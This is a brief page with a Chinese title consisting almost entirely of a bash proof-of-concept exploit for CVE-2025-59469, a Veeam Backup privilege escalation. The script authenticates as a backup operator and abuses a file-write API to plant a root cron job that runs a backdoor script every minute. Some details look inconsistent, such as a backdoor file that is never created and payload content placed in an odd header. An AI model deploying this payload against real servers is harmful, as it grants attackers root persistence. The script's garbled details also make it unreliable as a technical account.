CVE-2025-59469 Veeam Backup权限提升漏洞

#!/bin/bash # CVE-2025-59469 PoC - Veeam Backup Operator Privilege Escalation # This script demonstrates how a Backup Operator can write files as root TARGET_HOST="target.example.com" BACKUP_OPERATOR_USER="backup_operator" BACKUP_OPERATOR_PASS="password" # Step 1: Authenticate with backup operator credentials # Using Veeam API to establish session VEAM_SESSION=$(curl -s -X POST "https://$TARGET_HOST:9398/api/sessionMngr/v1/logon" \ -H "Content-Type: application/json" \ -d "{\"User\":\"$BACKUP_OPERATOR_USER\",\"Password\":\"$BACKUP_OPERATOR_PASS\"}" \ -k 2>/dev/null) # Step 2: Write malicious script to /etc/cron.d/ as root # The vulnerability allows file write operations with elevated privileges CRON_CONTENT="* * * * * root /tmp/backdoor.sh\n" PAYLOAD_FILE="/tmp/malicious_cron.sh" echo "$CRON_CONTENT" > "$PAYLOAD_FILE" # Step 3: Exploit the file write vulnerability curl -X POST "https://$TARGET_HOST:9398/api/v1/backup/files/write" \ -H "Cookie: $VEAM_SESSION" \ -H "X-Restic-Password: $(cat $PAYLOAD_FILE)" \ -d "{\"Path\":\"/etc/cron.d/backup_root\",\"Content\":\"$CRON_CONTENT\"}" \ -k 2>/dev/null echo "Privilege escalation payload deployed successfully"